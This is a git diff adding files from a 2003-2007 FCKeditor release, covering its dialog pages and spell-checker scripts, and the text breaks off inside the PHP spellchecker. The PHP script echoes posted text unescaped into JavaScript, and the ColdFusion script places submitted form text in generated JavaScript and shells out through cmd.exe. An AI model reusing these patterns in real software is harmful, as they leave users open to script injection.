+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_smiley.html
+ *     Smileys (emoticons) dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <style type="text/css">
+               .Hand
+               {
+                       cursor: pointer;
+                       cursor: hand;
+               }
+       </style>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+window.onload = function ()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+}
+
+function InsertSmiley( url )
+{
+       var oImg = oEditor.FCK.CreateElement( 'IMG' ) ;
+       oImg.src = url ;
+       oImg.setAttribute( '_fcksavedurl', url ) ;
+       
+       // For long smileys list, it seams that IE continues loading the images in
+       // the background when you quickly select one image. so, let's clear
+       // everything before closing.
+       document.body.innerHTML = '' ;
+
+       window.parent.Cancel() ;
+}
+
+function over(td)
+{
+       td.className = 'LightBackground Hand' ;
+}
+
+function out(td)
+{
+       td.className = 'DarkBackground Hand' ;
+}
+       </script>
+</head>
+<body scroll="no">
+       <table cellpadding="2" cellspacing="2" align="center" border="0" width="100%" height="100%">
+               <script type="text/javascript">
+
+var FCKConfig = oEditor.FCKConfig ;
+
+var sBasePath  = FCKConfig.SmileyPath ;
+var aImages            = FCKConfig.SmileyImages ;
+var iCols              = FCKConfig.SmileyColumns ;
+var iColWidth  = parseInt( 100 / iCols, 10 ) ;
+
+var i = 0 ;
+while (i < aImages.length)
+{
+       document.write( '<tr>' ) ;
+       for(var j = 0 ; j < iCols ; j++)
+       {
+               if (aImages[i])
+               {
+                       var sUrl = sBasePath + aImages[i] ;
+                       document.write( '<td width="' + iColWidth + '%" align="center" class="DarkBackground Hand" onclick="InsertSmiley(\'' + sUrl.replace(/'/g, "\\'" ) + '\')" onmouseover="over(this)" onmouseout="out(this)">' ) ;
+                       document.write( '<img src="' + sUrl + '" border="0" />' ) ;
+               }
+               else
+                       document.write( '<td width="' + iColWidth + '%" class="DarkBackground">&nbsp;' ) ;
+               document.write( '<\/td>' ) ;
+               i++ ;
+       }
+       document.write('<\/tr>') ;
+}
+
+               </script>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_source.html b/fckeditor/editor/dialog/fck_source.html
new file mode 100755 (executable)
index 0000000..4b0e169
--- /dev/null
@@ -0,0 +1,69 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_source.html
+ *     Source editor dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+       <head>
+               <title>Source</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta name="robots" content="noindex, nofollow">
+               <link href="common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+               <script language="javascript">
+               
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+window.onload = function()
+{
+       // EnableXHTML and EnableSourceXHTML has been deprecated
+//     document.getElementById('txtSource').value = ( FCKConfig.EnableXHTML && FCKConfig.EnableSourceXHTML ? FCK.GetXHTML( FCKConfig.FormatSource ) : FCK.GetHTML( FCKConfig.FormatSource ) ) ;
+       document.getElementById('txtSource').value = FCK.GetXHTML( FCKConfig.FormatSource ) ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               oEditor.FCKUndo.SaveUndoStep() ;
+                       
+       FCK.SetHTML( document.getElementById('txtSource').value, false ) ;
+       
+       return true ;
+}
+               </script>
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <table width="100%" height="100%">
+                       <tr>
+                               <td height="100%"><textarea id="txtSource" dir="ltr" style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; FONT-SIZE: 14px; PADDING-BOTTOM: 5px; WIDTH: 100%; PADDING-TOP: 5px; FONT-FAMILY: Monospace; HEIGHT: 100%">Loading. Please wait...</textarea></td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_specialchar.html b/fckeditor/editor/dialog/fck_specialchar.html
new file mode 100755 (executable)
index 0000000..8d0795e
--- /dev/null
@@ -0,0 +1,117 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_specialchar.html
+ *     Special Chars Selector dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+       <head>
+               <meta name="robots" content="noindex, nofollow">
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <style type="text/css">
+                               .Hand 
+                               { 
+                                       cursor: pointer ;
+                                       cursor: hand ; 
+                               }
+                               .Sample { font-size: 24px; }
+               </style>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+var oSample ;
+
+function insertChar(charValue)
+{
+       oEditor.FCK.InsertHtml( charValue || "" ) ;
+       window.parent.Cancel() ;
+}
+
+function over(td)
+{
+       oSample.innerHTML = td.innerHTML ;
+       td.className = 'LightBackground SpecialCharsOver Hand' ;
+}
+
+function out(td)
+{
+       oSample.innerHTML = "&nbsp;" ;
+       td.className = 'DarkBackground SpecialCharsOut Hand' ;
+}
+
+function setDefaults()
+{
+       // Gets the sample placeholder.
+       oSample = document.getElementById("SampleTD") ;
+
+       // First of all, translates the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+}
+
+               </script>
+       </HEAD>
+       <BODY onload="setDefaults()" scroll="no">
+               <table cellpadding="0" cellspacing="0" width="100%" height="100%">
+                       <tr>
+                               <td width="100%">
+                                       <table cellpadding="1" cellspacing="1" align="center" border="0" width="100%" height="100%">
+                                               <script type="text/javascript">
+var aChars = ["!","&quot;","#","$","%","&amp;","\\'","(",")","*","+","-",".","/","0","1","2","3","4","5","6","7","8","9",":",";","&lt;","=","&gt;","?","@","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","[","]","^","_","`","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","{","|","}","~","&euro;","&lsquo;","&rsquo;","&rsquo;","&ldquo;","&rdquo;","&ndash;","&mdash;","&iexcl;","&cent;","&pound;","&curren;","&yen;","&brvbar;","&sect;","&uml;","&copy;","&ordf;","&laquo;","&not;","&reg;","&macr;","&deg;","&plusmn;","&sup2;","&sup3;","&acute;","&micro;","&para;","&middot;","&cedil;","&sup1;","&ordm;","&raquo;","&frac14;","&frac12;","&frac34;","&iquest;","&Agrave;","&Aacute;","&Acirc;","&Atilde;","&Auml;","&Aring;","&AElig;","&Ccedil;","&Egrave;","&Eacute;","&Ecirc;","&Euml;","&Igrave;","&Iacute;","&Icirc;","&Iuml;","&ETH;","&Ntilde;","&Ograve;","&Oacute;","&Ocirc;","&Otilde;","&Ouml;","&times;","&Oslash;","&Ugrave;","&Uacute;","&Ucirc;","&Uuml;","&Yacute;","&THORN;","&szlig;","&agrave;","&aacute;","&acirc;","&atilde;","&auml;","&aring;","&aelig;","&ccedil;","&egrave;","&eacute;","&ecirc;","&euml;","&igrave;","&iacute;","&icirc;","&iuml;","&eth;","&ntilde;","&ograve;","&oacute;","&ocirc;","&otilde;","&ouml;","&divide;","&oslash;","&ugrave;","&uacute;","&ucirc;","&uuml;","&uuml;","&yacute;","&thorn;","&yuml;","&OElig;","&oelig;","&sbquo;","&#8219;","&bdquo;","&hellip;","&trade;","&#9658;","&bull;","&rarr;","&rArr;","&hArr;","&diams;","&asymp;"] ;
+
+var cols = 20 ;
+
+var i = 0 ;
+while (i < aChars.length)
+{
+       document.write("<TR>") ;
+       for(var j = 0 ; j < cols ; j++) 
+       {
+               if (aChars[i])
+               {
+                       document.write('<TD width="1%" class="DarkBackground SpecialCharsOut Hand" align="center" onclick="insertChar(\'' + aChars[i].replace(/&/g, "&amp;") + '\')" onmouseover="over(this)" onmouseout="out(this)">') ;
+                       document.write(aChars[i]) ;
+               }
+               else
+                       document.write("<TD class='DarkBackground SpecialCharsOut'>&nbsp;") ;
+               document.write("<\/TD>") ;
+               i++ ;
+       }
+       document.write("<\/TR>") ;
+}
+                                               </script>
+                                       </table>
+                               </td>
+                               <td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                               <td valign="top">
+                                       <table width="40" cellpadding="0" cellspacing="0" border="0">
+                                               <tr>
+                                                       <td id="SampleTD" width="40" height="40" align="center" class="DarkBackground SpecialCharsOut Sample">&nbsp;</td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </BODY>
+</HTML>
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_spellerpages.html b/fckeditor/editor/dialog/fck_spellerpages.html
new file mode 100755 (executable)
index 0000000..c786f5c
--- /dev/null
@@ -0,0 +1,68 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_spellerpages.html
+ *     Spell Check dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Spell Check</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="fck_spellerpages/spellerpages/spellChecker.js"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang = oEditor.FCKLang ;
+
+window.onload = function()
+{
+       document.getElementById('txtHtml').value = oEditor.FCK.EditorDocument.body.innerHTML ;
+
+       var oSpeller = new spellChecker( document.getElementById('txtHtml') ) ;
+       oSpeller.spellCheckScript = oEditor.FCKConfig.SpellerPagesServerScript || 'server-scripts/spellchecker.php' ;
+       oSpeller.OnFinished = oSpeller_OnFinished ;
+       oSpeller.openChecker() ;
+}
+
+function OnSpellerControlsLoad( controlsWindow )
+{
+       // Translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( controlsWindow.document ) ;
+}
+
+function oSpeller_OnFinished( numberOCorrections )
+{
+       if ( numberOCorrections > 0 )
+               oEditor.FCK.SetHTML( document.getElementById('txtHtml').value ) ;
+       window.parent.Cancel() ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no" style="padding:0px;">
+               <input type="hidden" id="txtHtml" value="">
+               <iframe id="frmSpell" src="javascript:void(0)" name="spellchecker" width="100%" height="100%" frameborder="0"></iframe>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/blank.html b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/blank.html
new file mode 100755 (executable)
index 0000000..e69de29
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js
new file mode 100755 (executable)
index 0000000..6ba8cf0
--- /dev/null
@@ -0,0 +1,87 @@
+////////////////////////////////////////////////////
+// controlWindow object
+////////////////////////////////////////////////////
+function controlWindow( controlForm ) {
+       // private properties
+       this._form = controlForm;
+
+       // public properties
+       this.windowType = "controlWindow";
+//     this.noSuggestionSelection = "- No suggestions -";      // by FredCK
+       this.noSuggestionSelection = FCKLang.DlgSpellNoSuggestions ;
+       // set up the properties for elements of the given control form
+       this.suggestionList  = this._form.sugg;
+       this.evaluatedText   = this._form.misword;
+       this.replacementText = this._form.txtsugg;
+       this.undoButton      = this._form.btnUndo;
+
+       // public methods
+       this.addSuggestion = addSuggestion;
+       this.clearSuggestions = clearSuggestions;
+       this.selectDefaultSuggestion = selectDefaultSuggestion;
+       this.resetForm = resetForm;
+       this.setSuggestedText = setSuggestedText;
+       this.enableUndo = enableUndo;
+       this.disableUndo = disableUndo;
+}
+
+function resetForm() {
+       if( this._form ) {
+               this._form.reset();
+       }
+}
+
+function setSuggestedText() {
+       var slct = this.suggestionList;
+       var txt = this.replacementText;
+       var str = "";
+       if( (slct.options[0].text) && slct.options[0].text != this.noSuggestionSelection ) {
+               str = slct.options[slct.selectedIndex].text;
+       }
+       txt.value = str;
+}
+
+function selectDefaultSuggestion() {
+       var slct = this.suggestionList;
+       var txt = this.replacementText;
+       if( slct.options.length == 0 ) {
+               this.addSuggestion( this.noSuggestionSelection );
+       } else {
+               slct.options[0].selected = true;
+       }
+       this.setSuggestedText();
+}
+
+function addSuggestion( sugg_text ) {
+       var slct = this.suggestionList;
+       if( sugg_text ) {
+               var i = slct.options.length;
+               var newOption = new Option( sugg_text, 'sugg_text'+i );
+               slct.options[i] = newOption;
+        }
+}
+
+function clearSuggestions() {
+       var slct = this.suggestionList;
+       for( var j = slct.length - 1; j > -1; j-- ) {
+               if( slct.options[j] ) {
+                       slct.options[j] = null;
+               }
+       }
+}
+
+function enableUndo() {
+       if( this.undoButton ) {
+               if( this.undoButton.disabled == true ) {
+                       this.undoButton.disabled = false;
+               }
+       }
+}
+
+function disableUndo() {
+       if( this.undoButton ) {
+               if( this.undoButton.disabled == false ) {
+                       this.undoButton.disabled = true;
+               }
+       }
+}
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html
new file mode 100755 (executable)
index 0000000..f56cdd1
--- /dev/null
@@ -0,0 +1,153 @@
+<html>
+       <head>
+               <link rel="stylesheet" type="text/css" href="spellerStyle.css" />
+               <script type="text/javascript" src="controlWindow.js"></script>
+               <script type="text/javascript">
+var spellerObject;
+var controlWindowObj;
+
+if( parent.opener ) {
+       spellerObject = parent.opener.speller;
+}
+
+function ignore_word() {
+       if( spellerObject ) {
+               spellerObject.ignoreWord();
+       }
+}
+
+function ignore_all() {
+       if( spellerObject ) {
+               spellerObject.ignoreAll();
+       }
+}
+
+function replace_word() {
+       if( spellerObject ) {
+               spellerObject.replaceWord();
+       }
+}
+
+function replace_all() {
+       if( spellerObject ) {
+               spellerObject.replaceAll();
+       }
+}
+
+function end_spell() {
+       if( spellerObject ) {
+               spellerObject.terminateSpell();
+       }
+}
+
+function undo() {
+       if( spellerObject ) {
+               spellerObject.undo();
+       }
+}
+
+function suggText() {
+       if( controlWindowObj ) {
+               controlWindowObj.setSuggestedText();
+       }
+}
+
+var FCKLang = window.parent.parent.FCKLang ;   // by FredCK
+
+function init_spell() {
+       // By FredCK (fckLang attributes have been added to the HTML source of this page)
+       window.parent.parent.OnSpellerControlsLoad( this ) ;
+
+       var controlForm = document.spellcheck;
+
+       // create a new controlWindow object
+       controlWindowObj = new controlWindow( controlForm );
+
+       // call the init_spell() function in the parent frameset
+       if( parent.frames.length ) {
+               parent.init_spell( controlWindowObj );
+       } else {
+               alert( 'This page was loaded outside of a frameset. It might not display properly' );
+       }
+}
+
+</script>
+       </head>
+       <body class="controlWindowBody" onLoad="init_spell();" style="OVERFLOW: hidden" scroll="no">    <!-- by FredCK -->
+               <form name="spellcheck">
+                       <table border="0" cellpadding="0" cellspacing="0" border="0" align="center">
+                               <tr>
+                                       <td colspan="3" class="normalLabel"><span fckLang="DlgSpellNotInDic">Not in dictionary:</span></td>
+                               </tr>
+                               <tr>
+                                       <td colspan="3"><input class="readonlyInput" type="text" name="misword" readonly /></td>
+                               </tr>
+                               <tr>
+                                       <td colspan="3" height="5"></td>
+                               </tr>
+                               <tr>
+                                       <td class="normalLabel"><span fckLang="DlgSpellChangeTo">Change to:</span></td>
+                               </tr>
+                               <tr valign="top">
+                                       <td>
+                                               <table border="0" cellpadding="0" cellspacing="0" border="0">
+                                                       <tr>
+                                                               <td class="normalLabel">
+                                                                       <input class="textDefault" type="text" name="txtsugg" />
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>
+                                                                       <select class="suggSlct" name="sugg" size="7" onChange="suggText();" onDblClick="replace_word();">
+                                                                               <option></option>
+                                                                       </select>
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                                       <td>&nbsp;&nbsp;</td>
+                                       <td>
+                                               <table border="0" cellpadding="0" cellspacing="0" border="0">
+                                                       <tr>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnIgnore" value="Ignore" onClick="ignore_word();">
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnIgnoreAll" value="Ignore All" onClick="ignore_all();">
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td colspan="3" height="5"></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnReplace" value="Replace" onClick="replace_word();">
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" fckLang="DlgSpellBtnReplaceAll" value="Replace All" onClick="replace_all();">
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td colspan="3" height="5"></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>
+                                                                       <input class="buttonDefault" type="button" name="btnUndo" fckLang="DlgSpellBtnUndo" value="Undo" onClick="undo();"
+                                                                               disabled>
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td> 
+                                                                       <!-- by FredCK
+                                                                       <input class="buttonDefault" type="button" value="Close" onClick="end_spell();">
+                                                                       -->
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </form>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm
new file mode 100755 (executable)
index 0000000..b094d7e
--- /dev/null
@@ -0,0 +1,174 @@
+<cfsilent>
+<!--- 
+This code uses a CF User Defined Function and should work in CF version 5.0
+and up without alteration.
+
+Also if you are hosting your site at an ISP, you will have to check with them
+to see if the use of <CFEXECUTE> is allowed. In most cases ISP will not allow
+the use of that tag for security reasons. Clients would be able to access each
+others files in certain cases.
+--->
+<!--- 
+The following variables values must reflect your installation needs.
+--->
+<cfset apsell_dir      = "c:\aspell\bin">
+
+<cfset lang                    = "en_US">
+<cfset aspell_opts     = "-a --lang=#lang# --encoding=utf-8 -H">
+
+<!--- Be sure the temporary folder exists --->
+<cfset tempFolder      = "c:\aspell\temp">
+<cfset tempfile                = "spell_#randrange(1,10000)#">
+
+<cfset spellercss      = "../spellerStyle.css">
+<cfset word_win_src    = "../wordWindow.js">
+
+<cfset form.checktext = form["textinputs[]"]>
+
+<cfscript>
+  function LastIndexOf(subs, str)
+  {
+    return Len(str) - Find(subs, Reverse(str)) + 1;
+  }
+</cfscript>
+
+<!--- Takes care of those pesky smart quotes from MS apps, replaces them with regular quotes --->
+<cfparam name="url.checktext" default="">
+<cfparam name="form.checktext" default="#url.checktext#">
+<cfset submitted_text = replacelist(form.checktext,"%u201C,%u201D","%22,%22")> 
+
+<!--- submitted_text now is ready for processing --->
+
+<!--- use carat on each line to escape possible aspell commands --->
+<cfset text = "">
+<cfset crlf = Chr(13) & Chr(10)>
+
+<cfloop list="#submitted_text#" index="field" delimiters=",">
+  <cfset text = text & "%" & crlf
+                     & "^A" & crlf
+                     & "!" & crlf>
+  <cfset field = URLDecode(field)>
+  <cfloop list="#field#" index="line" delimiters="#crlf#">
+<!---     <cfset submitted_text = replace(submitted_text,"'","\'","All")>
+    <cfset submitted_text = replace(submitted_text,"""","\""","All")> --->
+       <cfset text = text & "^" & Trim(JSStringFormat(line)) & "#crlf#">
+  </cfloop>
+</cfloop>
+
+
+<!--- need to escape special javascript characters such as ' --->
+<cfset unaltered_text = submitted_text>
+
+<!--- create temp file from the submitted text, this will be passed to aspell to be check for misspelled words --->
+<cffile action="write" file="#tempFolder#\#tempfile#.txt" output="#text#" charset="utf-8">
+
+<!--- cfsavecontent is used to set the variable that will be returned with the results from aspell.
+If your using the new version of mx 6.1 you can  use the following cfexecute tag instead:
+<cfexecute name="C:\WINDOWS\SYSTEM32\cmd.exe" arguments="/c type c:\test\#tempfile#.txt | c:\aspell\bin\aspell #aspell_opts#" timeout="100" variable="results"></cfexecute> --->
+
+
+
+<cfsavecontent variable="food">
+<cfexecute name="C:\WINDOWS\SYSTEM32\cmd.exe" arguments="/c type #tempFolder#\#tempfile#.txt | #apsell_dir#\aspell #aspell_opts#" timeout="100"></cfexecute>
+</cfsavecontent>
+
+
+
+<!--- remove temp file --->
+<cffile action="delete" file="#tempFolder#\#tempfile#.txt">
+
+<cfset texts = StructNew()>
+<cfset texts.textinputs = "">
+<cfset texts.words = "">
+<cfset texts.abort = "">
+
+<!--- Generate Text Inputs --->
+
+<cfset i = "0">
+<cfloop index="text" list="#form.checktext#">
+  <cfset texts.textinputs = ListAppend(texts.textinputs, 'textinputs[#i#] = decodeURIComponent("#text#");', '#Chr(13)##Chr(10)#')>
+  <cfset i = i + "1">
+</cfloop>
+
+<!--- Generate Words Lists --->
+
+<cfset cnt = "1">
+<cfset word_cnt = "0">
+<cfset input_cnt = "-1">
+<cfloop list="#food#" index="list" delimiters="#chr(10)##chr(13)#">
+       <!--- removes the first line of the aspell output "@(#) International Ispell Version 3.1.20 (but really Aspell 0.50.3)" --->
+       <cfif NOT cnt IS "1">
+               <cfif Find("&", list) OR Find("##", list)>
+                       <!--- word that misspelled --->
+                       <cfset bad_word = listGetAt(list, "2", " ")>
+                       <!--- sugestions --->
+                       <cfset wrdList = mid(list,(LastIndexOf(':', list) + 2),(len(list) - (LastIndexOf(':', list) + 2)))>
+                       <cfset wrdsList = "">
+                       <cfloop list="#wrdList#" index="idx">
+                               <cfset wrdsList = ListAppend(wrdsList, " '" & trim(replace(idx,"'","\'","All")) & "'", ", ")>
+                       </cfloop>
+      <cfset wrdsList = Right(wrdsList, Len(wrdsList) - 1)>
+                       <!--- javascript --->
+                       <cfset texts.words = ListAppend(texts.words, "words[#input_cnt#][#word_cnt#] = '#trim(replace(bad_word,"'","\'","All"))#';", "#Chr(13)##Chr(10)#")>
+                       <cfset texts.words = ListAppend(texts.words, "suggs[#input_cnt#][#word_cnt#] = [#trim(wrdsList)#];", "#Chr(13)##Chr(10)#")>
+                       <cfset word_cnt = word_cnt + 1>
+               <cfelseif find("*", list)>
+      <cfset input_cnt = input_cnt + "1">
+      <cfset word_cnt = "0">
+      <cfset texts.words = ListAppend(texts.words, "words[#input_cnt#] = [];", "#crlf#")>
+      <cfset texts.words = ListAppend(texts.words, "suggs[#input_cnt#] = [];", "#crlf#")>
+               </cfif>                 
+       </cfif>
+       <cfset cnt = cnt + 1>
+</cfloop>
+
+<cfif texts.words IS "">
+  <cfset texts.abort = "alert('Spell check complete.\n\nNo misspellings found.');#chrlf#top.window.close();">
+</cfif>
+
+</cfsilent><cfoutput><cfcontent type="text/html"><html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="#spellercss#" />
+<script language="javascript" src="#word_win_src#"></script>
+<script language="javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+
+#texts.textinputs##Chr(13)##Chr(10)#
+#texts.words#
+#texts.abort#
+
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+function init_spell() {
+       // check if any error occured during server-side processing
+       if( error ) {
+               alert( error );
+       } else {
+               // call the init_spell() function in the parent frameset
+               if (parent.frames.length) {
+                       parent.init_spell( wordWindowObj );
+               } else {
+                       alert('This page was loaded outside of a frameset. It might not display properly');
+               }
+       }
+}
+
+</script>
+
+</head>
+<body onLoad="init_spell();">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html></cfoutput>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
new file mode 100755 (executable)
index 0000000..1ee49b4
--- /dev/null
@@ -0,0 +1,196 @@
+<?php
+header('Content-type: text/html; charset=utf-8');
+
+// The following variables values must reflect your installation needs.
+
+$aspell_prog   = '"C:\Program Files\Aspell\bin\aspell.exe"';   // by FredCK (for Windows)
+//$aspell_prog = 'aspell';                                                                             // by FredCK (for Linux)
+
+$lang                  = 'en_US';
+$aspell_opts   = "-a --lang=$lang --encoding=utf-8 -H";                // by FredCK
+
+$tempfiledir   = "./";
+
+$spellercss            = '../spellerStyle.css';                                                // by FredCK
+$word_win_src  = '../wordWindow.js';                                                   // by FredCK
+
+$textinputs            = $_POST['textinputs']; # array
+$input_separator = "A";
+
+# set the JavaScript variable to the submitted text.
+# textinputs is an array, each element corresponding to the (url-encoded)
+# value of the text control submitted for spell-checking
+function print_textinputs_var() {
+       global $textinputs;
+       foreach( $textinputs as $key=>$val ) {
+               # $val = str_replace( "'", "%27", $val );
+               echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";
+       }
+}
+
+# make declarations for the text input index
+function print_textindex_decl( $text_input_idx ) {
+       echo "words[$text_input_idx] = [];\n";
+       echo "suggs[$text_input_idx] = [];\n";
+}
+
+# set an element of the JavaScript 'words' array to a misspelled word
+function print_words_elem( $word, $index, $text_input_idx ) {
+       echo "words[$text_input_idx][$index] = '" . escape_quote( $word ) . "';\n";
+}
+
+
+# set an element of the JavaScript 'suggs' array to a list of suggestions
+function print_suggs_elem( $suggs, $index, $text_input_idx ) {
+       echo "suggs[$text_input_idx][$index] = [";
+       foreach( $suggs as $key=>$val ) {
+               if( $val ) {
+                       echo "'" . escape_quote( $val ) . "'";
+                       if ( $key+1 < count( $suggs )) {
+                               echo ", ";
+                       }
+               }
+       }
+       echo "];\n";
+}
+
+# escape single quote
+function escape_quote( $str ) {
+       return preg_replace ( "/'/", "\\'", $str );
+}
+
+
+# handle a server-side error.
+function error_handler( $err ) {
+       echo "error = '" . escape_quote( $err ) . "';\n";
+}
+
+## get the list of misspelled words. Put the results in the javascript words array
+## for each misspelled word, get suggestions and put in the javascript suggs array
+function print_checker_results() {
+
+       global $aspell_prog;
+       global $aspell_opts;
+       global $tempfiledir;
+       global $textinputs;
+       global $input_separator;
+       $aspell_err = "";
+       # create temp file
+       $tempfile = tempnam( $tempfiledir, 'aspell_data_' );
+
+       # open temp file, add the submitted text.
+       if( $fh = fopen( $tempfile, 'w' )) {
+               for( $i = 0; $i < count( $textinputs ); $i++ ) {
+                       $text = urldecode( $textinputs[$i] );
+                       $lines = explode( "\n", $text );
+                       fwrite ( $fh, "%\n" ); # exit terse mode
+                       fwrite ( $fh, "^$input_separator\n" );
+                       fwrite ( $fh, "!\n" ); # enter terse mode
+                       foreach( $lines as $key=>$value ) {
+                               # use carat on each line to escape possible aspell commands
